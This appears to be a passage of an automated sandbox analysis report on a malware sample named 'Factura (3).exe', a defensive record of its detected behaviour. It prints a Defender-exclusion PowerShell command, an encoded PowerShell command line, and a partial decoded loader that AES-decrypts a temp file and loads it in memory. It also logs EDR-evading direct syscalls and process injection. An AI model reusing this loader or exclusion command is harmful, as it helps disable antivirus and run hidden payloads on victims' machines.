Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05422349 mov eax, dword ptr fs:[00000030h]	14_2_05422349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05422349 mov eax, dword ptr fs:[00000030h]	14_2_05422349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_05422349 mov eax, dword ptr fs:[00000030h]	14_2_05422349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0546A352 mov eax, dword ptr fs:[00000030h]	14_2_0546A352

Source: C:\Users\user\Desktop\Factura (3).exe

Code function: 6_2_00007FF734101404 GetProcessHeap,

6_2_00007FF734101404

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340E7EF4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FF7340E7EF4
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340EE0B0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FF7340EE0B0
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340E809C SetUnhandledExceptionFilter,	6_2_00007FF7340E809C
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340E8108 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00007FF7340E8108

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Factura (3).exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Factura (3).exe" -Force			Jump to behavior

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\Factura (3).exe	Process created: Base64 decoded [System.Threading.Thread]::Sleep(5000)$@5<5==0O0?:0 = [System.IO.Path]::GetTempPath()$(01;>= = 'file-*.putik'$>A;54=89$09; = Get-ChildItem -Path $@5<5==0O0?:0 -Filter $(01;>= \| Sort-Object LastWriteTime -Descending \| Select-Object -First 1function 0AH8D@>20BL { param ( [byte[]]$;NG, [byte[]]$=8F80;878@CNI895:B>@, [byte[]]$0==K5 ) $(8D@0B>@ = [System.Security.Cryptography.Aes]::Create() $(8D@0B>@.Mode = [System.Security.Cryptography.CipherMode]::CBC $(8D@0B>@.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $ 0AH8D@>2I8: = $(8D@0B>@.CreateDecryptor($;NG, $=8F80;878@CNI895:B>@) $ 0AH8D@>20==K50==K5 = $ 0AH8D@>2I8:.TransformFinalBlock($0==K5, 0, $0==K5.Length) return $ 0AH8D@>20==K50==K5}$;NG = [byte[]]@(0x50, 0xB0, 0x5B, 0x3D, 0x71, 0x80, 0xA7, 0xDC, 0xA8, 0x5C, 0x26, 0x9A, 0x7B, 0x92, 0xDD, 0xE7, 0x76, 0xD0, 0xCF, 0x42, 0x90, 0xBB, 0x6F, 0x5F, 0xC4, 0xB8, 0x1D, 0xA6, 0xBE, 0xE4, 0x6C, 0x35)$=8F80;878@CNI895:B>@ = [byte[]]@(0xE7, 0x99, 0x21, 0x27, 0x5A, 0x2D, 0x31, 0x53, 0x0E, 0xBB, 0xE4, 0xEE, 0x2B, 0x94, 0xE3, 0x0C)if ($>A;54=89$09; -ne $null) { $CBL$09;0 = $>A;54=89$09;.FullName $0H8D@>20==K509BK = [System.IO.File]::ReadAllBytes($CBL$09;0); $ 0AH8D@>20==>5!>45@68<>5 = 0AH8D@>20BL -;NG $;NG -=8F80;878@CNI895:B>@ $=8F80;878@CNI895:B>@ -0==K5 $0H8D@>20==K509BK $!1>@:0 = [System.Reflection.Assembly]::Load([byte[]]@($ 0AH8D@>20==>5!>45@68<
Source: C:\Users\user\Desktop\Factura (3).exe	Process created: Base64 decoded [System.Threading.Thread]::Sleep(5000)$@5<5==0O0?:0 = [System.IO.Path]::GetTempPath()$(01;>= = 'file-*.putik'$>A;54=89$09; = Get-ChildItem -Path $@5<5==0O0?:0 -Filter $(01;>= \| Sort-Object LastWriteTime -Descending \| Select-Object -First 1function 0AH8D@>20BL { param ( [byte[]]$;NG, [byte[]]$=8F80;878@CNI895:B>@, [byte[]]$0==K5 ) $(8D@0B>@ = [System.Security.Cryptography.Aes]::Create() $(8D@0B>@.Mode = [System.Security.Cryptography.CipherMode]::CBC $(8D@0B>@.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $ 0AH8D@>2I8: = $(8D@0B>@.CreateDecryptor($;NG, $=8F80;878@CNI895:B>@) $ 0AH8D@>20==K50==K5 = $ 0AH8D@>2I8:.TransformFinalBlock($0==K5, 0, $0==K5.Length) return $ 0AH8D@>20==K50==K5}$;NG = [byte[]]@(0x50, 0xB0, 0x5B, 0x3D, 0x71, 0x80, 0xA7, 0xDC, 0xA8, 0x5C, 0x26, 0x9A, 0x7B, 0x92, 0xDD, 0xE7, 0x76, 0xD0, 0xCF, 0x42, 0x90, 0xBB, 0x6F, 0x5F, 0xC4, 0xB8, 0x1D, 0xA6, 0xBE, 0xE4, 0x6C, 0x35)$=8F80;878@CNI895:B>@ = [byte[]]@(0xE7, 0x99, 0x21, 0x27, 0x5A, 0x2D, 0x31, 0x53, 0x0E, 0xBB, 0xE4, 0xEE, 0x2B, 0x94, 0xE3, 0x0C)if ($>A;54=89$09; -ne $null) { $CBL$09;0 = $>A;54=89$09;.FullName $0H8D@>20==K509BK = [System.IO.File]::ReadAllBytes($CBL$09;0); $ 0AH8D@>20==>5!>45@68<>5 = 0AH8D@>20BL -;NG $;NG -=8F80;878@CNI895:B>@ $=8F80;878@CNI895:B>@ -0==K5 $0H8D@>20==K509BK $!1>@:0 = [System.Reflection.Assembly]::Load([byte[]]@($ 0AH8D@>20==>5!>45@68<			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtProtectVirtualMemory: Direct from: 0x77542F9C	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtSetInformationProcess: Direct from: 0x77542C5C	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtOpenKeyEx: Direct from: 0x77542B9C	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtProtectVirtualMemory: Direct from: 0x77537B2E	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtCreateFile: Direct from: 0x77542FEC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtOpenFile: Direct from: 0x77542DCC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtSetInformationThread: Direct from: 0x77542ECC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtQueryInformationToken: Direct from: 0x77542CAC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtTerminateThread: Direct from: 0x77542FCC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtDeviceIoControlFile: Direct from: 0x77542AEC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtQueryValueKey: Direct from: 0x77542BEC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtQueryVolumeInformationFile: Direct from: 0x77542F2C	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtOpenSection: Direct from: 0x77542E0C	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtAllocateVirtualMemory: Direct from: 0x775448EC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtQuerySystemInformation: Direct from: 0x775448CC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtClose: Direct from: 0x77542B6C
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtReadVirtualMemory: Direct from: 0x77542E8C	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtCreateKey: Direct from: 0x77542C6C	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtSetInformationThread: Direct from: 0x77542B4C	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtQueryAttributesFile: Direct from: 0x77542E6C	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtOpenKeyEx: Direct from: 0x77543C9C	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtCreateUserProcess: Direct from: 0x7754371C	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtQueryInformationProcess: Direct from: 0x77542C26	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtResumeThread: Direct from: 0x77542FBC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtWriteVirtualMemory: Direct from: 0x7754490C	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtDelayExecution: Direct from: 0x77542DDC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtAllocateVirtualMemory: Direct from: 0x77542BFC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtReadFile: Direct from: 0x77542ADC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtQuerySystemInformation: Direct from: 0x77542DFC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtResumeThread: Direct from: 0x775436AC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtNotifyChangeKey: Direct from: 0x77543C2C	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtCreateMutant: Direct from: 0x775435CC	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtWriteVirtualMemory: Direct from: 0x77542E3C	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	NtMapViewOfSection: Direct from: 0x77542D1C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\calc.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 400000 value starts with: 4D5A			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: NULL target: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: NULL target: C:\Windows\SysWOW64\chkdsk.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: NULL target: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: NULL target: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\chkdsk.exe

Thread register set: target process: 1544

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\chkdsk.exe

Thread APC queued: target process: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\calc.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\calc.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 7EF008	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Factura (3).exe" -Force	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\calc.exe "C:\Windows\System32\calc.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"	Jump to behavior
Source: C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe	Process created: C:\Windows\SysWOW64\chkdsk.exe "C:\Windows\SysWOW64\chkdsk.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Factura (3).exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -encodedcommand wwbtahkacwb0aguabqauafqaaabyaguayqbkagkabgbnac4avaboahiazqbhagqaxqa6adoauwbsaguazqbwacganqawadaamaapaaoacgakabieqaq1bdwenqq9bd0emarpbb8emaq/bdoemaqgad0aiabbafmaeqbzahqazqbtac4asqbpac4auabhahqaaabdadoaogbhaguadabuaguabqbwafaayqb0aggakaapaaoajaaobdaemqq7bd4epqqgad0aiaanagyaaqbsagualqaqac4acab1ahqaaqbraccacgakab8epgrbbdsenqq0bd0eoaq5bcqemaq5bdseiaa9acaarwblahqalqbdaggaaqbsagqasqb0aguabqagac0auabhahqaaaagacqaegrabduepaq1bd0epqqwbe8ehwqwbd8eogqwbcaalqbgagkabab0aguacgagacqakaqwbdeeowq+bd0eiab8acaauwbvahiadaatae8aygbqaguaywb0acaatabhahmadabxahiaaqb0aguavabpag0azqagac0arablahmaywblag4azabpag4azwagahwaiabtaguabablagmadaatae8aygbqaguaywb0acaalqbgagkacgbzahqaiaaxaaoacgbmahuabgbjahqaaqbvag4aiaagbdaeqqribdgerarabd4emgqwbeietaqgahsacgagacaaiaagahaayqbyageabqagacgacgagacaaiaagacaaiaagacaawwbiahkadablafsaxqbdacqaggq7be4erwqsaaoaiaagacaaiaagacaaiaagafsaygb5ahqazqbbaf0axqakabgepqq4beyeoaqwbdseoaq3bdgeqardbe4esqq4bdkeegq1bdoeqgq+beaelaakacaaiaagacaaiaagacaaiabbagiaeqb0aguawwbdaf0ajaaubdaepqq9besenqqkacaaiaagacaakqakaaoaiaagacaaiaakacgeoarebeaemarcbd4eqaqgad0aiabbafmaeqbzahqazqbtac4auwblagmadqbyagkadab5ac4aqwbyahkacab0ag8azwbyageacaboahkalgbbaguacwbdadoaogbdahiazqbhahqazqaoackacgagacaaiaagacqakaq4beqeqaqwbeiepgrabc4atqbvagqazqagad0aiabbafmaeqbzahqazqbtac4auwblagmadqbyagkadab5ac4aqwbyahkacab0ag8azwbyageacaboahkalgbdagkacaboaguacgbnag8azablaf0aoga6aemaqgbdaaoaiaagacaaiaakacgeoarebeaemarcbd4eqaquafaayqbkagqaaqbuagcaiaa9acaawwbtahkacwb0aguabqauafmazqbjahuacgbpahqaeqauaemacgb5ahaadabvagcacgbhahaaaab5ac4auabhagqazabpag4azwbnag8azablaf0aoga6afaaswbdafmanwakaaoaiaagacaaiaakacaemarbbegeoarebeaepgqybekeoaq6bcaapqagacqakaq4beqeqaqwbeiepgrabc4aqwbyaguayqb0aguarablagmacgb5ahaadabvahiakaakaboeowrobecelaagacqagaq9bdgergq4bdaeowq4bdceoarabemetgrjbdgeoqqsbdueogrcbd4eqaqpaaoaiaagacaaiaakacaemarbbegeoarebeaepgqybdaepqq9besenqqubdaepqq9besenqqgad0aiaakacaemarbbegeoarebeaepgqybekeoaq6bc4avabyageabgbzagyabwbyag0argbpag4ayqbsaeiababvagmaawaoacqafaqwbd0epqrlbduelaagadaalaagacqafaqwbd0epqrlbduelgbmaguabgbnahqaaaapaaoacqakacaaiaagacaacgblahqadqbyag4aiaakacaemarbbegeoarebeaepgqybdaepqq9besenqqubdaepqq9besenqqkah0acgakacqaggq7be4erwqgad0aiabbagiaeqb0aguawwbdaf0aqaaoadaaeaa1adaalaagadaaeabcadaalaagadaaeaa1aeialaagadaaeaazaeqalaagadaaeaa3adealaagadaaeaa4adaalaagadaaeabbadcalaagadaaeabeaemalaagadaaeabbadgalaagadaaeaa1aemalaagadaaeaayadyalaagadaaeaa5aeealaagadaaeaa3aeialaagadaaeaa5adialaagadaaeabeaeqalaagadaaeabfadcalaagadaaeaa3adyalaagadaaeabeadaalaagadaaeabdaeyalaagadaaeaa0adialaagadaaeaa5adaalaagadaaeabcaeialaagadaaeaa2aeyalaagadaaeaa1aeyalaagadaaeabdadqalaagadaaeabcadgalaagadaaeaaxaeqalaagadaaeabbadyalaagadaaeabcaeualaagadaaeabfadqalaagadaaeaa2aemalaagadaaeaazaduakqakacqagaq9bdgergq4bdaeowq4bdceoarabemetgrjbdgeoqqsbdueogrcbd4eqaqgad0aiabbagiaeqb0aguawwbdaf0aqaaoadaaeabfadcalaagadaaeaa5adkalaagadaaeaayadealaagadaaeaayadcalaagadaaeaa1aeealaagadaaeaayaeqalaagadaaeaazadealaagadaaeaa1admalaagadaaeaawaeualaagada
Source: C:\Users\user\Desktop\Factura (3).exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -encodedcommand wwbtahkacwb0aguabqauafqaaabyaguayqbkagkabgbnac4avaboahiazqbhagqaxqa6adoauwbsaguazqbwacganqawadaamaapaaoacgakabieqaq1bdwenqq9bd0emarpbb8emaq/bdoemaqgad0aiabbafmaeqbzahqazqbtac4asqbpac4auabhahqaaabdadoaogbhaguadabuaguabqbwafaayqb0aggakaapaaoajaaobdaemqq7bd4epqqgad0aiaanagyaaqbsagualqaqac4acab1ahqaaqbraccacgakab8epgrbbdsenqq0bd0eoaq5bcqemaq5bdseiaa9acaarwblahqalqbdaggaaqbsagqasqb0aguabqagac0auabhahqaaaagacqaegrabduepaq1bd0epqqwbe8ehwqwbd8eogqwbcaalqbgagkabab0aguacgagacqakaqwbdeeowq+bd0eiab8acaauwbvahiadaatae8aygbqaguaywb0acaatabhahmadabxahiaaqb0aguavabpag0azqagac0arablahmaywblag4azabpag4azwagahwaiabtaguabablagmadaatae8aygbqaguaywb0acaalqbgagkacgbzahqaiaaxaaoacgbmahuabgbjahqaaqbvag4aiaagbdaeqqribdgerarabd4emgqwbeietaqgahsacgagacaaiaagahaayqbyageabqagacgacgagacaaiaagacaaiaagacaawwbiahkadablafsaxqbdacqaggq7be4erwqsaaoaiaagacaaiaagacaaiaagafsaygb5ahqazqbbaf0axqakabgepqq4beyeoaqwbdseoaq3bdgeqardbe4esqq4bdkeegq1bdoeqgq+beaelaakacaaiaagacaaiaagacaaiabbagiaeqb0aguawwbdaf0ajaaubdaepqq9besenqqkacaaiaagacaakqakaaoaiaagacaaiaakacgeoarebeaemarcbd4eqaqgad0aiabbafmaeqbzahqazqbtac4auwblagmadqbyagkadab5ac4aqwbyahkacab0ag8azwbyageacaboahkalgbbaguacwbdadoaogbdahiazqbhahqazqaoackacgagacaaiaagacqakaq4beqeqaqwbeiepgrabc4atqbvagqazqagad0aiabbafmaeqbzahqazqbtac4auwblagmadqbyagkadab5ac4aqwbyahkacab0ag8azwbyageacaboahkalgbdagkacaboaguacgbnag8azablaf0aoga6aemaqgbdaaoaiaagacaaiaakacgeoarebeaemarcbd4eqaquafaayqbkagqaaqbuagcaiaa9acaawwbtahkacwb0aguabqauafmazqbjahuacgbpahqaeqauaemacgb5ahaadabvagcacgbhahaaaab5ac4auabhagqazabpag4azwbnag8azablaf0aoga6afaaswbdafmanwakaaoaiaagacaaiaakacaemarbbegeoarebeaepgqybekeoaq6bcaapqagacqakaq4beqeqaqwbeiepgrabc4aqwbyaguayqb0aguarablagmacgb5ahaadabvahiakaakaboeowrobecelaagacqagaq9bdgergq4bdaeowq4bdceoarabemetgrjbdgeoqqsbdueogrcbd4eqaqpaaoaiaagacaaiaakacaemarbbegeoarebeaepgqybdaepqq9besenqqubdaepqq9besenqqgad0aiaakacaemarbbegeoarebeaepgqybekeoaq6bc4avabyageabgbzagyabwbyag0argbpag4ayqbsaeiababvagmaawaoacqafaqwbd0epqrlbduelaagadaalaagacqafaqwbd0epqrlbduelgbmaguabgbnahqaaaapaaoacqakacaaiaagacaacgblahqadqbyag4aiaakacaemarbbegeoarebeaepgqybdaepqq9besenqqubdaepqq9besenqqkah0acgakacqaggq7be4erwqgad0aiabbagiaeqb0aguawwbdaf0aqaaoadaaeaa1adaalaagadaaeabcadaalaagadaaeaa1aeialaagadaaeaazaeqalaagadaaeaa3adealaagadaaeaa4adaalaagadaaeabbadcalaagadaaeabeaemalaagadaaeabbadgalaagadaaeaa1aemalaagadaaeaayadyalaagadaaeaa5aeealaagadaaeaa3aeialaagadaaeaa5adialaagadaaeabeaeqalaagadaaeabfadcalaagadaaeaa3adyalaagadaaeabeadaalaagadaaeabdaeyalaagadaaeaa0adialaagadaaeaa5adaalaagadaaeabcaeialaagadaaeaa2aeyalaagadaaeaa1aeyalaagadaaeabdadqalaagadaaeabcadgalaagadaaeaaxaeqalaagadaaeabbadyalaagadaaeabcaeualaagadaaeabfadqalaagadaaeaa2aemalaagadaaeaazaduakqakacqagaq9bdgergq4bdaeowq4bdceoarabemetgrjbdgeoqqsbdueogrcbd4eqaqgad0aiabbagiaeqb0aguawwbdaf0aqaaoadaaeabfadcalaagadaaeaa5adkalaagadaaeaayadealaagadaaeaayadcalaagadaaeaa1aeealaagadaaeaayaeqalaagadaaeaazadealaagadaaeaa1admalaagadaaeaawaeualaagada			Jump to behavior

Source: KAnMKAQhHABqpRuDRpLtww.exe, 00000014.00000002.3764665830.0000000001AE1000.00000002.00000001.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000014.00000000.1488167071.0000000001AE1000.00000002.00000001.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000000.1642479909.0000000001991000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: KAnMKAQhHABqpRuDRpLtww.exe, 00000014.00000002.3764665830.0000000001AE1000.00000002.00000001.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000014.00000000.1488167071.0000000001AE1000.00000002.00000001.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000000.1642479909.0000000001991000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: KAnMKAQhHABqpRuDRpLtww.exe, 00000014.00000002.3764665830.0000000001AE1000.00000002.00000001.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000014.00000000.1488167071.0000000001AE1000.00000002.00000001.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000000.1642479909.0000000001991000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: KAnMKAQhHABqpRuDRpLtww.exe, 00000014.00000002.3764665830.0000000001AE1000.00000002.00000001.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000014.00000000.1488167071.0000000001AE1000.00000002.00000001.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000000.1642479909.0000000001991000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Factura (3).exe

Code function: 6_2_00007FF7341093F0 cpuid

6_2_00007FF7341093F0

Source: C:\Users\user\Desktop\Factura (3).exe	Code function: GetLocaleInfoW,	6_2_00007FF7340F85D0
